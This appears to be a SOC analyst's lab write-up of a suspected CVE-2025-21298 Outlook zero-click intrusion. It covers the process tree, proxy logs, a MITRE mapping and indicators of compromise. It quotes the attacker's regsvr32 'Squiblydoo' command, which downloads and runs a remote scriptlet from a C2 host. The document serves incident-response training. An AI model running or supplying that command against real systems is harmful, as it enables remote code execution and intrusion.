Overview
On February 4, 2025, at 08:06 AM, a SOC alert was triggered for a suspected exploitation of CVE-2025-21298, a critical zero-click Remote Code Execution vulnerability in the Windows OLE component (CVSS 9.8).
The vulnerability allows an attacker to achieve code execution simply by sending a malicious RTF email — the victim does not need to open an attachment. Outlook’s automatic preview is enough to trigger the exploit.
Investigation Steps
1. Initial triage
The alert identified OUTLOOK.EXE as the parent process of a suspicious execution chain on host 172.16.17.137. The binary path was confirmed legitimate:
C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
2. Process tree analysis
OUTLOOK.EXE spawned cmd.exe with the following command:
cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll
This is a known Squiblydoo / Living-off-the-Land technique (MITRE T1218.010). regsvr32.exe is a legitimate Windows binary abused here to download and execute a remote COM scriptlet (.sct) without writing to disk initially, bypassing many AV solutions.
3. Network log analysis
Proxy logs confirmed the outbound connection:
| Field | Value |
|---|---|
| Source | 172.16.17.137:35424 |
| Destination | 84.38.130.118:80 |
| Method | GET |
| URL | http://84.38.130.118.com/shell.sct |
| Proxy action | Permitted |
| Process | cmd.exe (PID 6784) |
| Timestamp | Feb 04, 2025, 08:06 AM |
The proxy did not block the request. The payload shell.sct was successfully retrieved from the C2 server.
4. Quarantine check
Neither the antivirus nor the EDR automatically quarantined the malware. The payload executed without being intercepted.
Malware quarantined: No
5. Verdict
True Positive — Exploitation confirmed. The full execution chain from email delivery to C2 payload retrieval was validated via process tree and proxy logs.
MITRE ATT&CK Mapping
| Technique ID | Name |
|---|---|
| T1566.001 | Phishing — Spearphishing Attachment |
| T1218.010 | System Binary Proxy Execution — Regsvr32 |
| T1071.001 | Application Layer Protocol — Web Protocols (C2 over HTTP) |
Indicators of Compromise (IoCs)
| Type | Value |
|---|---|
| C2 IP | 84.38.130.118 |
| Payload URL | http://84.38.130.118.com/shell.sct |
| Payload file | shell.sct |
| Abused binary | regsvr32.exe |
| Affected host | 172.16.17.137 |
| Affected process | OUTLOOK.EXE → cmd.exe (PID 6784) |
Key Takeaways
- Zero-click means zero user interaction needed. Just receiving the email in Outlook is enough — no attachment click, no link click.
- regsvr32.exe is a LOLBin. It’s a signed Windows binary that can execute remote scripts, making it a common AV bypass technique.
- Always follow the process tree. The alert fired on
OUTLOOK.EXEbut the real story was its child processcmd.exeand what it executed. - Proxy logs are critical. Without the proxy log confirming
Permitted, we couldn’t have confirmed the payload was actually retrieved.